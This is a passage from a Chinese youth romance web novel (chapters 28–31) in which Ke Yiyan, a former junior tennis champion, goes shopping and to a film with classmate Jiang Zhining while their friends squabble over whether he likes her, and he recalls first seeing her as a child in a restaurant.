柯译衍默不作声，就这么静静地看了她一会儿，然后不着痕迹挪开目光，望着收银台方向。 他淡声岔开话题：“结账么？” 姜织宁点头：“嗯走吧，都买好了。” 柯译衍沉默半路，终究还是没忍住，状似不经意地问她：“你对朋友都这样？” 姜织宁：“哪样？” 他轻咳一声，惜字如金地说：“生气，哄。” “是啊，贴心不贴心？”她开玩笑说。 语气无比自然，好像对她来说，这已经是一项非常娴熟的服务，也让柯译衍听得内心微动。 怎么说呢，就有点想试一试，怎么个哄法。 柯译衍静默一瞬，又问：“听起来很熟练，你朋友经常生气？” 姜织宁弯唇笑道：“那没有。我之前不是和你说过吗，我家养了三条猫三只狗，但没什么聪明劲，都挺鬼畜的。” 柯译衍嗯了声：“知道。” “原本一两只还好，后来养的小动物多起来，就发现没什么聪明劲是误解，其实一个比一个有心眼，特别会看人眼色。” 柯译衍：“争宠？” 姜织宁：“是啊，都是被遗弃的流浪小动物嘛，可能心思就比较敏感，同类一多，就容易宫斗，争风吃醋。每次有新成员到家里，家人就会花更多时间去照顾新成员，老成员看到后会生气，我就得去哄它，这种事情一般都是我来做，所以我现在已经是资深熟练工了。” 她有些感慨地说：“别看它们只是小动物啊，真生起气来，经常比人还要难哄。而且好几次都是同时生气，各生各的气，和煤气罐火药桶一样，想要做到一碗水端平，真的很考验我的能力。” 所以说，这宠物哄多了，她便从中吸取了不少经验，相关技巧研究的很透彻。 尽管人和猫猫狗狗有别，但在这种事情上，她觉得，还是有异曲同工之处的。 先顺顺毛，然后不停彩虹屁夸夸、爱的夸夸、各种夸夸，基本就能哄好，特别好使。 柯译衍耐心听完她解释，脸色稍微有那么点复杂，一时不知道该说什么好。 他暗自琢磨了下。 该不会 姜织宁打算把他当成宠物对待，流水线式服务？ 也不是他看不起猫猫狗狗，毕竟人类也是从灵长类动物进化而来，并没有高贵到哪里去，指不定，以后会被更高纬的物种替代。 主要问题是，姜织宁讲的话听起来有点奇怪。 怎么说呢，就感觉哪里不太对劲。 还不如不解释那种不太对劲。 算了，想不明白，当他没问。 走到收银台，姜织宁一边付款，一边确认问：“所以你有没有生气？” “姜老师演技挺好。”柯译衍答非所问。 他这么一说，姜织宁就知道他没生气，立马笑起来，谦虚摆摆手，自我调侃道：“一般一般啦，也就全班第三。” 第29章 该不会，你喜欢她？ 付款的时候, 姜织宁偶然听到旁边店员对顾客说，今天不用预约就可以做定制。 她眼睛亮起来，立马扭头问柯译衍：“电影什么时候开场, 如果现在给帽子做个定制还来得及吗？” 柯译衍看了眼手机：“不是很复杂的话来得及，可以电影结束后再过来拿。” 姜织宁想了想, 果断说：“不复杂，直接从品牌素材库里挑, 我上次发现素材库里可挑选的图案有很多，都蛮好看的。” 他点头：“行。” 两人走进定制实验室。 柯译衍没让店员帮忙, 直接从店员手里接过平板, 点开平板里的素材库, 再递给姜织宁。 姜织宁低头挑选图案，柯译衍陪坐在旁边高脚凳上, 左脚踩地，右脚弯曲搭住横杠, 手肘懒洋洋撑着金属桌面。 “这个图案印到帽子上会不会太大了？”姜织宁拿起平板朝向柯译衍，问他。 柯译衍放下手机, 稍稍倾身看了眼，说：“尺寸可以缩小, 但小了不好看。” “是不是印出来会糊成一团？” “大概率是。” “所以还是放衣服上比较好？” “嗯。” “那你觉得这个怎么样？” “还行。” “我感觉颜色有点深, 好像不太搭牛油果绿。” “电脑里能改成纯白色。” “还可以这样啊？” “当然。” 姜织宁不由叹气, 自言自语嘀咕一句：“挑的有点眼花缭乱。” 柯译衍弯唇笑了笑。 这时候, 门口走进来三名打扮时尚的年轻女生。 女生们被店员引导至位子上，为首那名女生刚要坐下, 突然眼尖发现不远处有个熟人。 女生顿时站直, 一眨不眨地盯着柯译衍，以及坐在他旁边, 和他说笑的漂亮女生。 观察数秒后，她试探喊了声：“柯译衍？” 话音落下，姜织宁暂停讲话，和柯译衍一同侧身看过去。 女生长得很漂亮，个子苗条高挑，皮肤健康小麦色，脑后扎着利落高马尾，身穿雾霾蓝薄卫衣，白色牛仔热裤，脚踩EQUA球星联名款运动鞋。 是阳光运动型美女。 柯译衍冲女生微微点头，打了个招呼。 女生叫石莜，是柯译衍的小学同学，目前在江洲外国语高中念高二。 和韩辰一样，她也是EQUA的签约模特，小时候曾经和柯译衍在同个网球俱乐部训练过，今年刚加入俞杨所在的那个俱乐部。 眼看自己没认错人，石莜脸上立马露出惊喜笑容，她快步走到柯译衍面前，兴高采烈说：“这么巧，真是你啊！” 刚才距离隔的远，柯译衍又遮挡住大部分视野，导致石莜只看见了姜织宁小半边侧脸，这会儿走到近处，视线不受任何遮挡，石莜不动声色打量起姜织宁。 生面孔，长得极其漂亮，还有几分不知道在哪里见过的眼熟感。 石莜若有所思看着姜织宁，沉浸在思绪里，直到柯译衍起身，主动问了句有事吗，她才回过神来。 石莜冲姜织宁抱歉眨眨眼，笑眯眯夸道：“不好意思啊，你长得太好看了，都给我看入迷了。” 姜织宁善意笑了笑。 石莜扭头看向柯译衍：“和朋友出来玩？” 其实她本来想试探问，是不是和女朋友出来玩，但又生怕把话题聊死，便临时委婉改成朋友。 柯译衍：“嗯。” 石莜长长啊了声，了然点头，接着指了指旁边，问他：“现在方便说话吗？有点事。” 柯译衍垂眸，望向看着他的姜织宁，犹豫了下。 姜织宁唇角微翘，善解人意地说：“你去忙吧，我自己挑就行。” 柯译衍和石莜走到旁边说话。 原本柯译衍是背对着姜织宁的站位，他很快发现看人不方便，于是和石莜掉转位置，让自己正面朝向姜织宁。 微不足道的小举动，但石莜到底是女生，心思细腻，立马品出来其中的微妙。 她心中有些惊讶。 这真是朋友吗？ 确定不是女朋友或者预备役吗？ 想到这，石莜心情变得复杂起来，但她掩饰的很好，面不改色笑道：“喔唷，干什么，你这么紧张人家啊？时时刻刻都得盯着？” 该不会，你喜欢她吧？ 她在心里补充说。 通常来说，被人这么问，或多或少的，都能听出几分话里隐藏的暧昧意思。 而柯译衍是真的直男，当然，也有他毫无兴趣揣摩没有意义的事情的因素在，所以，他压根没多想，直白地回了句：“她身体不好。” 石莜怔住。 她设想过无数种回答，就是没想到柯译衍会这么解释。 身体不好啊，所以是位病美人吗？ 没有问出自己真正关心的事，也有可能是柯译衍故意避而不谈，石莜想了想，转而说：“这样啊，那这漂亮小姐姐也是打网球的？我怎么看她有点眼熟呢。” “她不打。”柯译衍皱眉说，心里寻思着，不是有事吗，老聊姜织宁干什么，他挑明问，“找我什么事？” 石莜正想继续打听，就被柯译衍岔开话题，她只好回归正题，关心说：“就想问问你的腿，现在没事了吧？” 柯译衍：“嗯，没事。” “那下下个月的Eddie Herr国际青少年网球锦标赛，你会参加吗？”石莜眼神期待望着他。 柯译衍皱眉，想都没想，直接拒绝说不去。 石莜顿时有些失望，立马追问：“为什么不参加呢？你的腿不是已经恢复了吗，应该不会影响到比赛。” “和腿没关系。”柯译衍语气平静。 石莜沉默盯着他，轻声说：“所以俞杨说你放弃网球，以后不打算转为职业选手，全都是真的？” 柯译衍不冷不热嗯了声。 “可是你曾经拿过大满贯青少年冠军啊！两个！”石莜情绪突然变得激动，着急说，“你只是一时失利而已，为什么突然放弃网球？明明这条路对你来说一片光明！” 柯译衍缄默不语。 面对亲耳听到的事实，以及少年消沉的态度，石莜眼眶瞬间泛红发涨起来。 她吸了吸鼻子，强忍住哽意，替柯译衍不甘心地说：“你知道有多少人羡慕你的天赋吗？有多少人把你当成学习崇拜的偶像吗？大家都说，你是冉冉升起的新星！” “大满贯冠军！不管是成人组还是青少年组，绝大部分球员渴望了一辈子，却永远拿不到的顶尖荣耀！你现在说放弃就放弃？！” 柯译衍移开目光，目无情绪看向别处，语气淡漠：“都是过去的事。” “怎么就过去的事了？柯译衍你你到底是为什么” “你要不要再考虑一下，不要轻易下决定，你真的很适合打网球，我我一直都这么认为。” “以前我们在一个俱乐部的时候，我就知道你是最厉害的，教练也说你未来可期啊” “你在网球上，付出了这么多年的努力，就这样随随便便放弃吗？” 石莜语无伦次地劝他。 类似的劝说，柯译衍已经在太多人嘴里听到过，他没什么好说的，也并不想永无休止的，反复和这群人，为他打不打网球这件个人私事掰扯。 纯属浪费时间，毫无意义。 柯译衍情绪冷下来，语气中带着几分不耐烦，冷硬说：“我不是只有网球这条路可以走。” 石莜无声张了张嘴，突然间无话可说。 因为柯译衍没说错，人生有很多选择，尤其是在他们这个年纪里，一切都说不准。 青少年球员在通往职业网球运动员的路上，身体伤病、心理问题、家庭原因、经济困难、成绩不理想期间会有各种各样的困扰阻碍不断出现，随时逼迫他们，在坚持和放弃中做出抉择。 人人都有梦想，但不是人人都能实现梦想。 这就是现实。 竞技体育，很苦，很残酷的。 你以为自己天赋异禀，以为自己是不可一世的天才，等跻身高处，站到真正的职业赛场后，才猛然发现原来人人都是天才。 青少年球员中途放弃网球，回归校园学业，并不算什么奇怪事。 有些人是被迫离开。 有些人则志不在此，只是单纯的把网球当成兴趣爱好而已，并不以此谋生，也不以此升学。 就像某些青少年时期世界排名名列前茅的球员，到最后，也没有选择转向职业网坛。 而柯译衍，原本周围朋友都在担心他突然放弃网球后，整个人会陷入消沉懈怠，一蹶不振什么的，谁知道，他转头就在学业上混得风生水起。 哦不，好像一路以来，他成绩就没有不好过，那个成绩单依旧闪瞎眼，特别牛，很让人目瞪口呆，骂都骂不起来。 这叫什么？ 这叫牛人之所以能被称为牛人，就是因为无论他们做什么事，都可以拿出无比漂亮的成绩单。 正因为如此，大家也不知道该说柯译衍是放弃的好，还是不放弃的好。 未来的明日之星，好端端突然不打网球了，是该好好劝醒他，或者骂醒他，但问题是，柯译衍在学业上也很优秀，总不能，不让人家好好读书吧。 这么做是要遭天打雷劈的。 俞杨是最了解柯译衍的人，他说，柯译衍在自我放逐。 如果是这种程度的自我放逐，确实很难叫人评判，是对还是错。 知道柯译衍即使不打网球了，也绝对会在其他领域拥有璀璨的人生，但是石莜和俞杨他们，依然私心希望柯译衍能够重新拿起球拍，重回赛场。 毕竟，少年拥有一身令人可望不可及的天赋和实力。 毕竟，大家在这条路上并肩奋斗过，梦想未来过。 气氛凝固间，柯译衍注意到姜织宁拿着平板起身，作势要找店员，应该是选好了。 见状，他平静对石莜说：“我还有事，先走了。” 不等石莜有所反应，柯译衍已经大步走到姜织宁面前。 他问：“好了？” 姜织宁点点头：“对，电影是不是要开场了？” 他看了眼时间，低嗯了声：“走吧。” 两人并肩离开，石莜站在原地，默默望着柯译衍走远。 不知道为什么，她总觉得他和病美人的背影特别般配，仿佛天生一对似的。 胸腔浮起一股酸涩，石莜心情失落。 在两人快要拐出门口的时候，潜意识里冒出危机感，促使石莜猛然高喊一声：“柯译衍！” 姜织宁停下脚步，好奇跟随柯译衍转身。 石莜冲柯译衍露出刚见面时的灿烂笑容，她左手举到耳边，对他比了个打电话的手势。 “拜拜，回头联系。” 等人走后，石莜回到位子上。 朋友立马凑到她身边，好奇问：“那大帅哥谁啊？” 石莜：“柯译衍。” 朋友脑子灵光一闪，求证道：“小时候和你一起训练过的那个天才网球少年，总是被你挂在嘴边的衍神，就是他吧？” “嗯，就是他。”石莜笑着点头。 “他真人长这么帅啊！”朋友兴致勃勃，又问，“你之前是不是说，EQUA是柯译衍家的，是他爸爸的公司？” 石莜纠正：“你记错了，不是他爸爸，EQUA是他舅舅创立的品牌，柯译衍和他舅舅关系特别好。” 朋友：“哦，那柯译衍身边的美女是谁啊？他女朋友吗？看着有点眼熟哎。” 石莜有点意外：“你也觉得眼熟？” “嗯，总觉得在哪里见过，但我确实不认识。”朋友若有所思地说。 石莜沉吟几秒后，忽然问：“你觉得两人看着像情侣吗？或者暧昧期这种。” 朋友嘶了声：“这个不好说，但看着挺般配的，颜值都好高啊，真羡慕。” 石莜没说话，只觉得越想越不对劲。 她当即拿出手机，打开微信找到俞杨，编辑了一条消息发过去。 第30章 衍神喜欢她？！！！ 姜织宁和店员沟通好取货时间, 出门坐电梯到电影院，进门取票的时候，周静瑶三个人已经坐沙发上等着了。 “怎么才来, 电影都要开场了！” 俞杨率先发现在自助机器取票的柯译衍，起身小跑过来, 抱怨一句。 柯译衍淡声解释：“店里碰到石莜，聊了几句。” “啊, 石莜？”俞杨愣了下，眼睛往四周看, “她也在啊, 哪呢？” “”柯译衍一脸无语, 把除了自己和姜织宁之外的电影票一并递给俞杨，然后, 真心建议他说：“你要不要上医院，看看耳朵有没有问题？” 俞杨一脸呆：“啊？突然去医院看耳朵干什么, 我耳朵没事啊，听力好得很。” “是吗？我怕你在赛场上听不到裁判喊OUT。”柯译衍面无表情地说, “还是去看看吧，早看早治疗, 不用谢我贴心。” “” 贴你个毛线心！ 好啊, 居然阴阳他, 他又没做错什么！！！ 俞杨双手叉腰, 气势汹汹瞪着柯译衍，不爽质问：“你是不是在骂我？” “是啊。”柯译衍轻飘飘承认, 把手中电影票递给姜织宁。 “嘤, 你个狗东西！居然敢骂我！” 俞杨姿态浮夸，猛然扑过来, 作势要锤人。 柯译衍眼疾手快往旁边挪了步，同时伸手护住姜织宁，避免她被人高马大的俞杨误伤到。 姜织宁接过电影票，低下头去看座位，突然间，她眼前光线骤暗，紧接着，人被柯译衍手臂朝里侧推了把。 猝不及防，她身体重心不稳，额头顿时轻撞向柯译衍后背。 柯译衍敏锐察觉到，当即沉冷下脸，冲一旁扑了个空，手脚还在空中滑稽比划的俞杨骂道：“嘤什么嘤，滚开！” 然后迅速转身，俯身去查看姜织宁低垂着的脸，皱眉问：“有没有事？” 俞杨偷鸡不成蚀把米，因为电影院的地面太光滑，他和溜冰似的，脚步趔趄向前滑走，要摔不摔的。 他整个人仿佛大鹏展翅，双臂在空中晃悠了好几下，才勉强站稳身体。 听到柯译衍叫他滚开，俞杨相当震惊，站稳后，立马起身侧目，正准备吱哇乱叫骂回去，一眼瞅见姜织宁拿手捂住额头，脑袋低垂着。 俞杨心里咯噔一下，脸色秒变，顿觉不妙。 完了！完了！完了！ 好像误伤到宁王了！ 他灰溜溜夹起尾巴，极度紧张，迅速冲到姜织宁身边，提心吊胆关心问：“哎哟宁王，是不是撞到你了？没事吧？有没有哪里不舒服啊？” 姜织宁捂着额头，低头找了半天，总算发现刚才没拿稳，飘到娃娃机边上的电影票，她作势要去捡，摇头说：“没事，你们刚在干嘛，小学鸡打架啊？” 柯译衍唇线绷直，低气压盯着俞杨，冷笑一声。 “” 俞杨不敢吭声，更不敢和柯译衍对视，他心虚移开眼，只敢用余光偷瞄。 柯译衍伸手拉住姜织宁，不让她捡电影票。 姜织宁一脸疑惑看向他，就见柯译衍冷脸盯着俞杨，下巴冲地上的电影票指了下。 俞杨现在完全不敢造次，特有眼力劲，飞快蹿过去捡起电影票，嘴里说着：“宁王别动啊，我来！我来！我来！” 与此同时，柯译衍问姜织宁想不想吃爆米花，想不想喝奶茶，要什么口味。 她说爆米花要焦糖黄油味，想喝可可牛乳冰，这回不等柯译衍冷冽眼风扫过来，俞杨已经懂事记下，抬手比了个OK。 “我去！我去！我去！” 话音落下，俞杨屁颠屁颠跑向柜台。 姜织宁：“” 倒倒也不必如此，她不都说了没事嘛。 人走后，柯译衍不放心，又问了姜织宁一次：“真没事？” 姜织宁浮起笑脸，对他开玩笑说：“当然，头也不晕，要不，我给你现场来个空翻证明下？” 柯译衍没说话，皱眉看着她，神情严肃。 “”她顿了下，不得不收起笑脸，无奈叹了口气，叫他放轻松，“开玩笑的，真没事啊，就轻轻撞了一下，你那后背又不是铁打的。” 柯译衍淡淡嗯了声：“不舒服就和我说。” 检票时间到了，几人随着人流排队进场，柯译衍他们的位置在姜织宁后面一排，柯译衍的视角正好能看见姜织宁侧脸。 看得是一部科幻冒险片。 影片中，男女主是科技公司同一个部门的同事，男主处于事业低谷期，暗恋女主，正犹豫是否要表白时，男主意外发现，女主身边有个从小一起长大，关系非常亲密的青梅竹马。 男主为了克制住自己对女主的感情，在误会解开之前，特意疏冷女主，对女主故作冷淡。 毕竟是科幻片，所以特效做得相当不错，剧情引人入胜，在场观众们看得津津有味，没有一个吐槽的。 柯译衍就看得有点无语了。 没别的原因，仅针对男女主之间的感情线部分。 他心情复杂，心想，怎么就这么巧，这剧中男主的经历，为什么和他有点相似之处 剧情过半时，韩辰突然凑到俞杨耳边，低声问了句：“哎，那个衍神啊，他和姜织宁之间，真的无事发生吗？这俩人真没看对眼？我觉得吧” 起初俞杨并没有听清楚，注意力全在电影的精彩剧情里，等韩辰那边嘀嘀咕咕说完，又被推了两下，他才后知后觉反应过来，茫然扭头看向韩辰。 “啊？你刚说什么来着？” 韩辰当场翻了个白眼，没好气道：“合着我说半天，你是一个字也没听进去？” 俞杨笑嘻嘻：“我看电影呢，你再说一遍，这次保证认真听。” 韩辰深深呼吸，懒得重说一遍，直接发表总结：“我觉得柯译衍喜欢姜织宁，对此你有什么看法？” 俞杨呆滞眨了眨眼，被这个说法吓到了，他和末日丧尸上身似的，一点一点转动脖子，愣怔盯着韩辰。 反复的，很努力地憋了憋，但终究还是没憋住，他不可置信瞪大眼，震惊冲韩辰大吼一声—— “什么？？？衍神喜欢她？？？！！！” 用整个影厅都能听见的大嗓门。 话音落下的那一瞬间，想后悔已经来不及了，周围人回头的回头，探身的探身，指点的指点，四面八方的白眼不约而同射向俞杨，同时骂起来。 “喂，神经病吧！” “给我把嘴闭上！” “妈的吓我一跳！” “谁啊，这么没素质！” “公众场合大声喧哗什么？！” “神经啊，吓得我爆米花都撒了！” 柯译衍面无表情，没有一点犹豫，抱臂斜靠到座位最右边，迅速和俞杨拉开距离，一副不认识神经病的无情态度。 姜织宁也吓了一跳，整个人一抖，手中爆米花洒出来大半盒。 周静瑶奶茶刚吸进嘴里，差点吓喷出来，她呛了好几下，左手猛锤胸口，费劲把珍珠咽进喉咙，然后和姜织宁同时扭头看向俞杨。 “喂，你神经病啊！！！” 周静瑶极度不爽地骂了句。 俞杨成为众矢之的，一时间害怕极了，他脸色涨红，百口莫辩，情急之下，只能把锅甩出去，冲韩辰吐槽道：“就是，你神经啊！” 韩辰：“？？？” 他不可思议瞪着俞杨。 俞杨底气十足反瞪回去，一副“怪你！怪你！都怪你！要不是你，我至于受这么大惊吓？！”的谴责态度。 直到众人收回死亡凝视，俞杨小心翼翼眼观八方后，才彻底松了口气。 他重新靠近韩辰，韩辰没好气躲开。 俞杨嘿嘿笑：“哎，别生气了，我也是没办法，刚才那么多人盯着我看，我很害怕的好吗！” “少来啊。”韩辰斜他一眼，冷哼，“我就不害怕了？” 俞杨：“你戴着口罩帽子啊，别人又看不清你长什么样，这事不是重点，你刚才说，衍神喜欢宁王？我的辰啊，咱就是说，虽然这周围环境很黑，但容我提醒你一句，现在还是白天，没到晚上，你不要胡乱说梦话行吗？” “呵，你懂个屁！” 韩辰斜睨着他，满脸不屑，他可是专业演员好吧，那观察力，不要太细致入微，敏锐得很！ 刚才吃饭的时候，他就一直在暗中观察两人，眼珠子都快盯得冒出火星子了！ 俞杨很无语：“好，我懂个屁，你等着，我现在就去问当事人。” 说着，不顾韩辰阻拦，身体斜凑到柯译衍那边，低声呼唤：“衍神！” 柯译衍视线冷淡瞥过来。 “衍神啊，现在有个惊天动地的大事，需要和你本人求证下，韩辰说，你喜欢宁王，对此你有什么看法？” 俞杨是传话筒，所以毫无压力，不带喘气，一口气说完。 柯译衍：“” 少年眼睫微垂，陷入沉默。 无言数秒后，柯译衍目光微微越过俞杨，面无表情瞥了眼韩辰，冷声骂道：“发什么神经。” 不是疑问句，而是陈述句。 俞杨顿时笑了，身体倾斜到韩辰这边，乐呵呵对他说：“听到没，发什么神经。” “他刚才犹豫了。”韩辰提出质疑。 俞杨很天真地说：“是，因为这事太离谱，人家当然要犹豫怎么骂你好。” 韩辰：“” 韩辰显然不信，反驳道：“我可是演员好吧！火眼金睛，能看出很多你们发现不了的小细节，吃饭那会儿，我就看出这两人不对劲了。” “怎么不对劲了？”俞杨纳闷反问。 韩辰：“当然是男女之间那点不对劲啊！” 俞杨：“口说无凭，你倒是举点例子啊！” 韩辰：“两人之间的气氛很和谐，很默契，柯译衍一直在我面前帮姜织宁说话哎，姜织宁对柯译衍的态度也很特别啊，很温柔的，你看不出来吗？” “很特别？很温柔？” 俞杨愣了愣，并不这么认为，这不就是双A组的正常相处状态吗。 这个韩辰在脑补些什么啊 俞杨一脸无语，说：“宁王一直这样好吗，她在学校里也是这样啊，对同学都是这幅态度，她很友善很好相处的。” 韩辰半信半疑：“不应该吧，姜织宁以前可凶了，还锤我胳膊，特别特别痛！” 俞杨：“所以呢？” 韩辰：“？” “那和宁王有什么关系？”俞杨一脸困惑反问。 韩辰：“？” 俞杨不假思索地说：“想都不想用，肯定是你的问题啊！” 韩辰：“” 俞杨斜睨他：“反正我没见过宁王在学校里锤人，甚至没听过她骂人，绝对是你惹到她了！” 韩辰：“” 俞杨气道：“靠！我宁王性格这么好的人，是不是你欺负她了？！” 韩辰：“是她欺负我好吧！” 俞杨：“闭嘴啊，就是你的错啊！” 韩辰：“” 俞杨看韩辰懂事的安静如鸡，心里挺满意，好心对他说：“你今天才见了一面，就脑补双A组有事发生，你赶紧去医院治治眼睛，否则肯定耽误以后演戏。” 韩辰皱眉问：“谁是双A组？” 俞杨：“就衍神和宁王啊。” 韩辰立马敏感指出：“你看看，CP名都有了！” 俞杨：“扯淡，还有，别打断我发言。” 韩辰一言不发，心里不服气地重复着—— 你懂个屁！ 俞杨接着说：“你是没见过双A组之前在学校里的样子，这两神人做同桌，压根不讲话好吗，气氛冷的要死，和两座冰山一样！之所以今天饭桌上氛围和谐，那还不是因为昨天派出所帮忙，所以双A组的关系才有了突破性进展。” 他不忘强调一句：“注意！这里指的是同学关系！” 要不是自己就坐在双A组前面，俞杨这会儿都要相信韩辰的造谣了。 最初看到姜织宁坐后面，俞杨心里很高兴，结果没多久，他就高兴不起来了。 因为，完全没有预想中的欢乐氛围，只有太平间式寂静。 王不见王。 从早上来学校，到晚上晚自习离开，一整天下来，几乎听不到双A组说话，情绪一个比一个冷。 不愧叫双A组。 两人同时面无表情的模样，那可太A了。 俞杨以为双A组关系不好，所以才不讲话，结果暗中观察下来，发现好像也不是那么回事。 有时候，两人也会有来有往的对话，气氛也挺和谐，一旦话说完，就会恢复至太平间式寂静。 反反复复，特别神奇。 后来有一次，俞杨实在想不通，双A组怎么会相处成这样，便按耐不住去问柯译衍。 柯译衍给他的理由是—— 不熟。 和姜织宁不熟，所以话少得可怜。 好有道理，没毛病，俞杨顿时悟了。【你现在阅读的是 】 30-40 第31章 她是我的Crush 韩辰对俞杨的解释很不屑。 他说：“学校里能看出什么来, 两人都住一起了，早晚近水楼台先得月啊。” 俞杨困惑啊了声：“住一起？？？” 韩辰反问：“对啊，你不知道吗, 你家双A组是对门邻居。” 俞杨瞬间无语住，他还真不知道。 他也是今天才知道, 姜织宁和柯译衍住在同一个小区，而且柯译衍从来没透露过, 他和宁王是邻居关系！ 好好好，合着大家都知道, 只有他被蒙在鼓里？ 俞杨拉下脸, 心情很不爽。 不爽归不爽, 理智还是在线的，他臭着脸说：“邻居怎么了？都是巧合而已, 宁王说过，那房子是她姑姑租的。我说你啊, 别跟个福尔摩斯一样，明明芝麻大点小事, 非要拿放大镜分析来分析去。” 韩辰还是坚持己见，哼了声, 拿电影举例：“你没看这部电影里演的啊, 男主表面高冷, 其实一直暗恋女主。” 俞杨不可思议瞪大眼, 也是惊呆了。 他属实没想到，韩辰居然会引用电影里的情节, 他震惊道：“不是你说电影干什么？和衍神有半毛钱关系吗？” 韩辰换了个坐姿, 脸上摆出一副这题我熟的得意神情。 “废话，当然有关系了, 本韩老师今天就给你上一课。”他老神在在地说，“看一件事，不能光看表象，我和你说啊，就比如娱乐圈里的情侣，在关系还没爆出来之前，如果两人被安排在同一个活动里露面，绝对会对外装不熟，甚至装成关系不和的陌生人，外人根本看不出破绽。” 俞杨立马反驳：“不是，咱能不能别这么多戏啊，我们就是普通高中生，又不是什么明星！而且宁王有青梅竹马的，就是那个蔡总，两人订过娃娃亲，你可别搞事情乱说！” 韩辰笑了笑，意味深长地说：“撬墙角文学看过没？” “没，你看过？”俞杨瞧着他，阴阳怪气啧啧几声，“你小子口味挺特别，看这个干什么，你想干坏事啊？” “什么干坏事！”韩辰激动咳起来，恼羞成怒证明清白，“我只是看过这方面的剧本！” 俞杨眼神嫌弃：“你这小小年纪的，怎么看这种剧本啊？话说，你经纪公司真的没问题吗？” “”韩辰心说，这有什么，还有更炸裂的呢。 俞杨累了，不想就着无意义的话题辩论下去，他还要看电影呢！ 他不耐烦摆摆手，说：“你就别瞎扯了，什么撬不撬的，净他妈离谱！衍神就一纯情男高，纯的不能再纯那种，他从小到大，没谈过恋爱，更不可能做出这种事！我警告你啊，不允许侮辱我男神！” 韩辰无语看着姓俞的脑残粉，心想有病吧，谁侮辱你男神了，这不是就事论事吗？ 俞杨说完后，还不解气，又强调说：“衍神因为家里那些个破事，还有网球的事，已经够心烦意乱了，他现在没心思想这想那！你别……” “唉”韩辰叹了口气，忍不住插嘴，“你可能不太清楚人性，这人啊，就是容易在心烦意乱的时候，干出点丧心病狂的刺激事，这是一种” “快给我闭嘴！”俞杨不悦啧了声，“再侮辱我男神女神，我大拳头锤你了啊！我都因为衍神不打网球的事愁死了，你还有闲心在这添乱胡说！” 韩辰再次安静如鸡。 俞杨没好气道：“你说你，都是做兄弟的，能不能盼点衍神好！你再这样，我以后不给你微博做水军了！” 韩辰立马开口：“别啊，不说了还不行吗！我和你说，我最近有俩黑粉特讨厌” 两人在这边嘀嘀咕咕，另一边，柯译衍充耳不闻，始终沉默盯着银幕。 他在走神，因为俞杨刚才问他的话。 事实上，姜织宁在医院里把他误认成蔡从的那一天，并不是他们第一次见面，在那之前，他和她在其他地方见过。 更准确的来说，是他单方面见过姜织宁。 十岁之前，柯译衍对他妈妈柯卉芸女士并没有什么印象，从未见她出现过，永远只活在长辈们的嘴里。 所以小时候，有段时间，柯译衍真信了周围几个没素质同龄人所嘲笑他的话，一度厌世以为，自己是垃圾桶里捡来的。 母子正式见面是在柯译衍十岁那年，很平常的一天，并没有什么煽情场面。 那天，柯译衍一如既往，独自来到网球俱乐部训练，中途队内循环赛的时候，他余光瞥见舅舅突然出现在看台上，身边坐着位穿白裙的漂亮女人，两人有说有笑。 柯译衍并没有在意这些，很快收回目光，专心打球。 集训结束，他收拾好球包背上，刚走出球场，就看见舅舅冲他挥了下手，和白衣女人一同走到他面前。 舅舅笑容温和，对他说：“译衍，这是你妈妈。” 这么多年过去，柯译衍终于见到了曾经很想念的人。 但此时此刻，他听到舅舅这句话后，脸色却平静如常，内心并没有产生激动、愤怒、荒谬、高兴之类的情绪，也不觉得，没有情绪是什么奇怪的事。 因为，他早已坦然接受残酷的现实，心里早已没了期待，那些所谓的情绪，已经逐渐湮灭在漫长的时光中。 其实在过去，他有很多迷茫的时刻。 长辈不止一次说过，当初他母亲为了把他带回来，离婚离得很不容易，可这十多年，她却把他丢弃在外公家，不管不问，毫不关心。 那么，把他带回来的意义是什么？ 柯译衍内心毫无波澜，面无表情注视着站在阳光里，冲他微笑的女人，平静心想，哦，原来只活在长辈们嘴里的妈妈长这样。 随后，舅舅为了促进关系，开车带母子俩去吃饭。 饭桌上，面对忽然从天而降，想要亲近自己的柯卉芸，柯译衍表现出来的态度很是敷衍冷淡。 他连棒球帽都不愿摘，嘴唇抿成一条冷漠直线，话极少，每当柯卉芸主动和他聊天，他要么惜字如金回个嗯，要么干脆沉默不语，拒绝沟通。 高档餐厅里人来人往，周围食客们欢声笑语不停。 柯译衍冷眼扫视四周，发现每个人脸上都很开心，唯独自己这一桌气氛古怪，心思各异。 强烈的反差，蛮好笑的。 就在这么想时，柯译衍的目光忽然停留在斜前方位置，28号那一桌。 不知道什么换的台。 原本坐着中年大叔的位子，现在坐了位看着和他差不多年纪的小女孩，女孩头发被编成两股松散的麻花辫，发梢系着淡粉色蝴蝶结丝带，穿了身纯白连衣裙。 女孩旁边，并排坐个年轻女人。 女人时不时偏头，笑着对女孩说话，但女孩的态度几乎和他如出一辙，面无表情，沉默不语，言行举止像是活在自我世界里。 这一瞬间，柯译衍内心突然萌生出一种同病相怜的奇异感觉。 原来，也有人和他一样心情不好。 没过多久，柯译衍去餐厅卫生间洗手，期间，他不经意听到了服务员之间的闲聊。 “你知道吗，我刚才去给28桌客人加单，我问小女孩冰淇淋要什么口味，结果她半天不说一句话，哎哟，可急死我了！” “那就问她家长呗。” “我也想啊！问题是，她家长想让她自己回答，但引导半天，就是不说话。” “闹脾气啊？” “不是，我偷偷观察下来啊，估计那女孩要么是哑巴，要么是失语症。” “啊？那小姑娘很漂亮的呀！刚才店长还说要过去给她拍照，居然是个哑巴？？？” “唉，蛮可惜的。” “那她能听见吗？不会是又聋又哑吧？” “那不知道，头发挡着，也看不到有没有戴助听器。” “突然心里平衡了，我家那小子虽然无法无天，但至少身体健康啊！” 柯译衍并不是多管闲事的性格，甚至可以说，那时候的他对周围一切都漠不关心。 这一刻，也不知道是出于同病相怜，还是什么心理，他平静扯了张纸，擦干净手，丢进垃圾桶，然后直接走到没素质的服务员面前。 “随便议论顾客是你们店的特色服务吗？” 他面无表情盯着嘴碎的人，冷声质问。 拐角处突然冒出来一个人，服务员吓一跳，闭上嘴，愣怔望着眼前穿了身白色运动服的少年。 嘴碎的人迟迟不吭声，柯译衍鼻腔里轻飘出一声嘲讽冷哼，嗓音毫无温度地说：“干脆让店长把特色服务加进菜单怎么样？” 他眼风冷冽锐利，浑身散发出盛气凌人的攻击性。 明明还是个小小少年，却让人心生畏惧。 两名服务员面面相觑，一时之间，手足无措，最后脸色涨红说了声对不起，匆忙躲进旁边工作间。 这是柯译衍第一次见到姜织宁。 发生了一件只有他知道的小插曲，微不足道，他谁也没有说，更没有放在心上。 后来时隔多年，去年八月份，他再次遇见了姜织宁。 